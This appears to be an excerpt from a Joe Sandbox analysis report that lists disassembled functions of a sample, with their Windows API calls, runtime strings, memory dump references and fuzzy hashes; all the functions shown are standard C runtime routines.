Instruction ID: 3f565173976dde95772cf09d27ec88d1d5dea41d57fd88a596fdbe153c9a700f
Opcode Fuzzy Hash: 845af18f23bc55150fb5af42e784872bc4b412058c24fc75fc0af097716266f5
Instruction Fuzzy Hash: F6D0927A56834CABDB185F59EC0A9197B6AE780750B50002AF90C4A7A1DAF2A880AA41

Function 00884C75 Relevance: 9.2, APIs: 6, Instructions: 225COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00884D00
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00884D8C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00884DF7
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00884E13
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00884E76
CompareStringEx.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00884E93

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 34b2807d76efd76dd35d75fa5ab1706d0ab8caae1d02d2bf41f801cfcf2a047a
Instruction ID: 62c2b958894a30ba3ae5e663413dae3db8c9254179fd4e70a033377cab98d0df
Opcode Fuzzy Hash: 34b2807d76efd76dd35d75fa5ab1706d0ab8caae1d02d2bf41f801cfcf2a047a
Instruction Fuzzy Hash: 7271AC3391021A9BEF20AFA8C885BEE7BB5FF05764F151159E944E72A1E7358C4487A0

Function 00860FE1 Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0086102A
MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000), ref: 00861095
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 008610B2
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 008610F1
LCMapStringEx.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00861150
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00861173

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: ce7c35c1cdf2371bdecd5065746192fa23bb8e291988eccb578bd0e3c2602d07
Instruction ID: e332b8e0979f99468430f2555efd6d994c2dc16f33c2f6314d1c07edd185dff2
Opcode Fuzzy Hash: ce7c35c1cdf2371bdecd5065746192fa23bb8e291988eccb578bd0e3c2602d07
Instruction Fuzzy Hash: 73519E72A0020AAFEF209F64CC49FAA7BB9FF41750F1A8429FA15DA152D731CD909B50

Function 008C95D3 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 166COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,0096FDFA,00000104), ref: 008C9630

Strings

Microsoft Visual C++ Runtime Library, xrefs: 008C96C5
<program name unknown>, xrefs: 008C963F
..., xrefs: 008C967E
Runtime Error!Program: , xrefs: 008C95FC

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: 5586ee67db970f8a69d4913c1294bf00cf132463d1180fae86820dad70e8f857
Instruction ID: a7baec2f9d552de3b8fc0bee4e6877afa25ac6df835415f13234bff3e7ce94c7
Opcode Fuzzy Hash: 5586ee67db970f8a69d4913c1294bf00cf132463d1180fae86820dad70e8f857
Instruction Fuzzy Hash: DD214963A4430567D7206229AC6AF6B37ACFFE2794F4000B9FD88D25C2F771DA01C196

Function 008CB2AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00000000,008F6BD4,000000FF,?,008CB210,?,?,008CB1BF,?), ref: 008CB2E2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 008CB2F4
FreeLibrary.KERNEL32(00000000,?,?,00000000,008F6BD4,000000FF,?,008CB210,?,?,008CB1BF,?), ref: 008CB316

Strings

CorExitProcess, xrefs: 008CB2EC
mscoree.dll, xrefs: 008CB2DB

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1ddc2e0d691f43272d70eec21bff122e14bd73df8a03cf56419b067f974eca21
Instruction ID: 2402d5ecf2ea4160e917abd2d5e98ed9126974f0ff4694c9a68e5274aa714753
Opcode Fuzzy Hash: 1ddc2e0d691f43272d70eec21bff122e14bd73df8a03cf56419b067f974eca21
Instruction Fuzzy Hash: 3201D632918669AFCB018F54DC09FAEBBF8FB44B54F004229F811E23D0DB749940DB90

Function 008D3FA5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,008D3F41), ref: 008D3FB4
GetLastError.KERNEL32(?,008D3F41), ref: 008D3FBE
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 008D3FFC

Strings

api-ms-, xrefs: 008D3FCB
ext-ms-, xrefs: 008D3FE1

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-$ext-ms-
API String ID: 3177248105-537541572
Opcode ID: d8b35f3777302d3f46ffe53743e3dc6423697f25bd17bec4ce6824d59dcfcbec
Instruction ID: 719ae4f7e01c0a229af6ac251a8ea268a85cfb05f450b774f8574c95953684a1
Opcode Fuzzy Hash: d8b35f3777302d3f46ffe53743e3dc6423697f25bd17bec4ce6824d59dcfcbec
Instruction Fuzzy Hash: 19F08C31688608BBEB201B21DC06F193B15FB40B98F184030FB0CEC1E2EB72DC509654

Function 008DBC2C Relevance: 7.8, APIs: 5, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa07e8717420fe481f7285d0af33e44b544ea83a832b85e773ef9ddd616d3cb
Instruction ID: 69f5f6922ac1a6882a6e3b33654ac2a8766687b2888344ff0132b2e328840eef
Opcode Fuzzy Hash: bfa07e8717420fe481f7285d0af33e44b544ea83a832b85e773ef9ddd616d3cb
Instruction Fuzzy Hash: 18B1BC75A04249EFDB05DF99C880BADBBB1FF89314F15425AE904DB392CB709E81CB61

Function 0085DA35 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0085DA49
AcquireSRWLockExclusive.KERNEL32(?), ref: 0085DA68
AcquireSRWLockExclusive.KERNEL32(?), ref: 0085DA96
TryAcquireSRWLockExclusive.KERNEL32(?), ref: 0085DAF1
TryAcquireSRWLockExclusive.KERNEL32(?), ref: 0085DB08

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: e3a54d234c72545c5bf417989f1d49b03aed402003fb4090eb132f335a00d671
Instruction ID: 8431245c9d7e0491dae364eec9b759506056963ba7e6580a1fc6e80da266f40a
Opcode Fuzzy Hash: e3a54d234c72545c5bf417989f1d49b03aed402003fb4090eb132f335a00d671
Instruction Fuzzy Hash: A0417A3560471ADBCF31DF69C4819AAB3F6FF08362B51492ADC56C7640D730E988CB62

Function 0088BFE0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0088C017
_ValidateLocalCookies.LIBCMT ref: 0088C0A8
_ValidateLocalCookies.LIBCMT ref: 0088C128

Strings

csm, xrefs: 0088C0BD

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: CookiesLocalValidate
String ID: csm
API String ID: 2268201637-1018135373
Opcode ID: d265a4c8ec23162f7ae37600e35456ba9f673fd2fa9598c47128fe5eface4beb
Instruction ID: c0ceb71b0e08cf0584ee66fe71627ee609eada62d4f5aef36f4784b5c0dc98f7
Opcode Fuzzy Hash: d265a4c8ec23162f7ae37600e35456ba9f673fd2fa9598c47128fe5eface4beb
Instruction Fuzzy Hash: 6941C434A0060CDBCF10EF6CCC84AAEBBA5FF45358F148055E915EB356D7329A05CBA2

Function 00896D6A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00896B7C), ref: 00896D77
GetLastError.KERNEL32(?,00896B7C), ref: 00896D81
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00896DA9

Strings

api-ms-, xrefs: 00896D8E

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: e7416fe876677278fb6e7726d08f178536bfd705541318e13101b40547f809ac
Instruction ID: 5de225af92cb25579bf90c3853a3cfd4b6d75ef7d290cc99abeb5e9687fc11bd
Opcode Fuzzy Hash: e7416fe876677278fb6e7726d08f178536bfd705541318e13101b40547f809ac
Instruction Fuzzy Hash: B5E04831388208FBEF102B65DC06B593B54FB50B84F584030FE4DEC0E1EF6398609644

Function 008D923D Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?), ref: 008D92A0
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 008D94FB
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 008D9543
GetLastError.KERNEL32 ref: 008D95E6

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ed3310e6f0f8c7fc73cab8b0183e7f6d48e75288dc13feb5574b6f281bfeb4fc
Instruction ID: 4c79382d71f6029188e65840bd6751d4062bc5f3f5368d1aaec04f08ab5a1b7f
Opcode Fuzzy Hash: ed3310e6f0f8c7fc73cab8b0183e7f6d48e75288dc13feb5574b6f281bfeb4fc
Instruction Fuzzy Hash: 12D14BB5E042589FCF15CFACD8809ADBBB5FF49314F18422AE85AEB351D730A946CB50

Function 008E0557 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 008E055F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008E0597
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008E05B7

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: f72d1455555e04009352cc2d8b875737ce36f35dae9b9a507b9dfb6819979908
Instruction ID: 86e4618ff806331b4a3e00890a2a158cb516a01c85f920b7f454be9c587cabf5
Opcode Fuzzy Hash: f72d1455555e04009352cc2d8b875737ce36f35dae9b9a507b9dfb6819979908
Instruction Fuzzy Hash: 281126B250555A7F6711277A5C8ECBF696CFE573983100914F415E1102FEA4CE819EB2

Function 008DC482 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?), ref: 008DC498
GetLastError.KERNEL32(?,?,?,?), ref: 008DC4A5
SetFilePointerEx.KERNEL32(?,?,?,?,?), ref: 008DC4CB
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,?,?), ref: 008DC4F1

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: 0d4c850da91738d0cd3c4589bf6add4f76f8c939c0c5895070fc935866bd8248
Instruction ID: ca84b35247976b0021b3b542c8312ee3ea0582b9d4852ec8130aedeb179aec04
Opcode Fuzzy Hash: 0d4c850da91738d0cd3c4589bf6add4f76f8c939c0c5895070fc935866bd8248
Instruction Fuzzy Hash: 3711487281411AABCB109F69DC48DEE7F79FB01764F104246F924D62A0D7319A80EBA0

Function 008EE046 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 008EE060
GetLastError.KERNEL32 ref: 008EE06C
___initconout.LIBCMT ref: 008EE07C

Part of subcall function 008EE0FA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,008EE081), ref: 008EE10D

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 008EE090

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
